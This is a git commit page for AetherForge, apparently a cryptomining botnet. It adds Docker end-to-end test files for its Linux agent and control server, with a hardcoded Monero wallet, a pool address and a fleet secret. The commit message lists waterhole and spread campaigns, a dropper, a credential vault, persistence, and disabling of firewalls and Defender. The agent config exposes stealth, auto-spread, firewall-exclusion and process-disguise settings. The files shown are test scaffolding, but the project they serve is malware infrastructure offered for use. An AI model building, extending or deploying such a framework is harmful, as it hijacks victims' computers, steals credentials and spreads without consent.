feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e
Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests. Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs. Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
This commit is contained in:
15
docker/Dockerfile.agent
Normal file
15
docker/Dockerfile.agent
Normal file
@@ -0,0 +1,15 @@
|
||||
# Linux agent for isolated Docker E2E (RandomX is pure Go — no CGO).
|
||||
FROM golang:1.26-bookworm AS build
|
||||
WORKDIR /src
|
||||
COPY agent/go.mod agent/go.sum ./
|
||||
RUN go mod download
|
||||
COPY agent/ ./
|
||||
COPY docker/agent-builtin.go ./config/builtin.go
|
||||
RUN CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -o /worker .
|
||||
|
||||
FROM debian:bookworm-slim
|
||||
RUN apt-get update && apt-get install -y --no-install-recommends ca-certificates curl && rm -rf /var/lib/apt/lists/*
|
||||
WORKDIR /app
|
||||
COPY --from=build /worker /app/worker
|
||||
ENV MINER_LOG_FILE=/tmp/miner.log
|
||||
ENTRYPOINT ["/app/worker"]
|
||||
15
docker/Dockerfile.server
Normal file
15
docker/Dockerfile.server
Normal file
@@ -0,0 +1,15 @@
|
||||
# AetherForge control server for Linux Docker E2E.
|
||||
FROM golang:1.26-bookworm AS build
|
||||
WORKDIR /src
|
||||
COPY server/go.mod server/go.sum ./
|
||||
RUN go mod download
|
||||
COPY server/ ./
|
||||
RUN CGO_ENABLED=0 go build -o /miner-server .
|
||||
|
||||
FROM debian:bookworm-slim
|
||||
RUN apt-get update && apt-get install -y --no-install-recommends ca-certificates curl && rm -rf /var/lib/apt/lists/*
|
||||
WORKDIR /app
|
||||
COPY --from=build /miner-server /app/miner-server
|
||||
COPY docker/data/ /data/
|
||||
EXPOSE 8989
|
||||
ENTRYPOINT ["/app/miner-server", "-port", "8989", "-data", "/data"]
|
||||
76
docker/README.md
Normal file
76
docker/README.md
Normal file
@@ -0,0 +1,76 @@
|
||||
# Docker Linux E2E
|
||||
|
||||
Isolated bridge network for validating the **Linux agent** against a real control server without installing the agent on the host.
|
||||
|
||||
## Topology
|
||||
|
||||
```
|
||||
┌──────────────── docker network: e2e-internal (no host egress) ────────────────┐
|
||||
│ agent container ──WS──► server container :8989 │
|
||||
└──────────────────────────────────────────────────────────────────────────────┘
|
||||
│
|
||||
server also on `default`
|
||||
▼
|
||||
Stratum pool (internet)
|
||||
```
|
||||
|
||||
- **Agent** — only on `e2e-internal` (`internal: true`). Cannot reach the internet; mines via C2 jobs from the server.
|
||||
- **Server** — on `e2e-internal` + default bridge so it can reach upstream Stratum and expose `18989` to the host dashboard.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Docker Engine 24+ with `docker compose`
|
||||
- ~2 GB free disk for golang build images
|
||||
|
||||
RandomX uses the pure-Go `go-randomx` module — **no CGO or librandomx** required in the agent image.
|
||||
|
||||
## Quick start
|
||||
|
||||
From repo root:
|
||||
|
||||
```bash
|
||||
docker compose -f docker/docker-compose.yml up --build
|
||||
```
|
||||
|
||||
Watch server logs for `[WS] Agent auth` and `[Pool]` job lines. Watch agent logs:
|
||||
|
||||
```bash
|
||||
docker compose -f docker/docker-compose.yml logs agent
|
||||
```
|
||||
|
||||
## Verify hashrate
|
||||
|
||||
1. **Dashboard** — open `http://127.0.0.1:18989`, login `testuser` / `testpass`, check Fleet Roster for `docker-e2e-linux`.
|
||||
2. **Stats fields** — node card should show `hashrate_15s`, `hashrate_1m`, `hashrate_15m`, and share counters after ~30s.
|
||||
3. **Server logs** — `docker compose -f docker/docker-compose.yml logs -f server` — look for agent stats WS messages and share submissions if enabled.
|
||||
4. **Agent log** — `docker compose -f docker/docker-compose.yml exec agent cat /tmp/miner.log` (if present).
|
||||
|
||||
## Teardown
|
||||
|
||||
```bash
|
||||
docker compose -f docker/docker-compose.yml down --rmi local -v
|
||||
```
|
||||
|
||||
## Fixed test credentials
|
||||
|
||||
| Item | Value |
|
||||
|------|-------|
|
||||
| Fleet secret | `e2e-docker-fleet-secret-fixed001` |
|
||||
| Dashboard user | `testuser` / `testpass` |
|
||||
| Host port | `18989` → server `8989` |
|
||||
| Test XMR wallet | `85JfUA9uyBZ2Kzv4ctoURyUYoYgpEu5QjQ8xSdiapFX8TpBHXkHwHQhBkxUxmoFKU85NH4dnSRBbiL8wSvcVmRqg4Wc9Trm` |
|
||||
|
||||
The wallet is baked into `docker/data/config.json` (server pool login) and `docker/agent-builtin.go` (agent fallback). It is a **public test address** for E2E only — not for production mining.
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
| Symptom | Check |
|
||||
|---------|-------|
|
||||
| Agent exits immediately | `logs agent` — wallet/server URL baked in `docker/agent-builtin.go` |
|
||||
| Auth rejected | `fleet_secret` must match in `docker/data/config.json` and `docker/agent-builtin.go` |
|
||||
| Hashrate 0 forever | Server pool connectivity — server needs default-network egress |
|
||||
| Idle mode never mines | Use `mining_mode: always` in docker builtin (default here) |
|
||||
|
||||
## Host server alternative
|
||||
|
||||
To point the agent container at a server on the host instead of the `server` service, change `ServerURL` in `docker/agent-builtin.go` to `http://host.docker.internal:8989` (Docker Desktop) and run only the agent service.
|
||||
47
docker/agent-builtin.go
Normal file
47
docker/agent-builtin.go
Normal file
@@ -0,0 +1,47 @@
|
||||
// E2E Docker builtin — copied over agent/config/builtin.go at image build time.
|
||||
package config
|
||||
|
||||
import "time"
|
||||
|
||||
func GetBuiltinConfig() BuiltinConfig {
|
||||
return BuiltinConfig{
|
||||
WorkerName: "docker-e2e-linux",
|
||||
ServerURL: "http://server:8989",
|
||||
FleetSecret: "e2e-docker-fleet-secret-fixed001",
|
||||
Wallet: "85JfUA9uyBZ2Kzv4ctoURyUYoYgpEu5QjQ8xSdiapFX8TpBHXkHwHQhBkxUxmoFKU85NH4dnSRBbiL8wSvcVmRqg4Wc9Trm",
|
||||
Threads: 2,
|
||||
ThreadMode: "fixed",
|
||||
ThreadPercent: 50,
|
||||
CPUPriority: "below_normal",
|
||||
MiningMode: "always",
|
||||
DisplayMode: "visible",
|
||||
SilentMode: false,
|
||||
RunAs: "user",
|
||||
AutoStart: false,
|
||||
ProcessName: "docker-e2e-worker",
|
||||
BuildID: "docker-e2e",
|
||||
BuiltAt: time.Now(),
|
||||
PoolHost: "pool.supportxmr.com",
|
||||
PoolPort: 3333,
|
||||
PoolTLS: false,
|
||||
PoolPass: "x",
|
||||
MaxCPUUsage: 95,
|
||||
MaxMemoryPct: 85,
|
||||
MinFreeRAM: 256,
|
||||
IdleThresholdPct: 20,
|
||||
IdleDurationMinutes: 5,
|
||||
ScheduleStart: "00:00",
|
||||
ScheduleEnd: "23:59",
|
||||
InstallBase: "custom",
|
||||
InstallCustomBase: "/tmp/aetherforge-e2e",
|
||||
InstallRelativePath: "worker",
|
||||
AdaptToHardware: false,
|
||||
SelfHealing: false,
|
||||
FileLogging: true,
|
||||
StealthMode: false,
|
||||
FirewallExclusion: false,
|
||||
AutoSpread: false,
|
||||
RemoteAggressive: false,
|
||||
GPUEnabled: false,
|
||||
}
|
||||
}
|
||||
19
docker/data/config.json
Normal file
19
docker/data/config.json
Normal file
@@ -0,0 +1,19 @@
|
||||
{
|
||||
"port": 8989,
|
||||
"pool": {
|
||||
"host": "pool.supportxmr.com",
|
||||
"port": 3333,
|
||||
"use_tls": false,
|
||||
"password": "x"
|
||||
},
|
||||
"wallet": {
|
||||
"address": "85JfUA9uyBZ2Kzv4ctoURyUYoYgpEu5QjQ8xSdiapFX8TpBHXkHwHQhBkxUxmoFKU85NH4dnSRBbiL8wSvcVmRqg4Wc9Trm",
|
||||
"payment_id": ""
|
||||
},
|
||||
"server": {
|
||||
"fleet_secret": "e2e-docker-fleet-secret-fixed001",
|
||||
"log_agent_connections": true,
|
||||
"log_share_submissions": true,
|
||||
"open_firewall_on_start": false
|
||||
}
|
||||
}
|
||||
1
docker/data/users.json
Normal file
1
docker/data/users.json
Normal file
@@ -0,0 +1 @@
|
||||
{"testuser":"testpass"}
|
||||
33
docker/docker-compose.yml
Normal file
33
docker/docker-compose.yml
Normal file
@@ -0,0 +1,33 @@
|
||||
# Isolated Linux agent E2E — agent reaches only the server; server has pool egress.
|
||||
services:
|
||||
server:
|
||||
build:
|
||||
context: ..
|
||||
dockerfile: docker/Dockerfile.server
|
||||
ports:
|
||||
- "18989:8989"
|
||||
networks:
|
||||
- e2e-internal
|
||||
- default
|
||||
healthcheck:
|
||||
test: ["CMD-SHELL", "curl -sf http://127.0.0.1:8989/api/v1/health || exit 1"]
|
||||
interval: 5s
|
||||
timeout: 3s
|
||||
retries: 12
|
||||
start_period: 15s
|
||||
|
||||
agent:
|
||||
build:
|
||||
context: ..
|
||||
dockerfile: docker/Dockerfile.agent
|
||||
depends_on:
|
||||
server:
|
||||
condition: service_healthy
|
||||
networks:
|
||||
- e2e-internal
|
||||
restart: "no"
|
||||
|
||||
networks:
|
||||
e2e-internal:
|
||||
driver: bridge
|
||||
internal: true
|
||||
Reference in New Issue
Block a user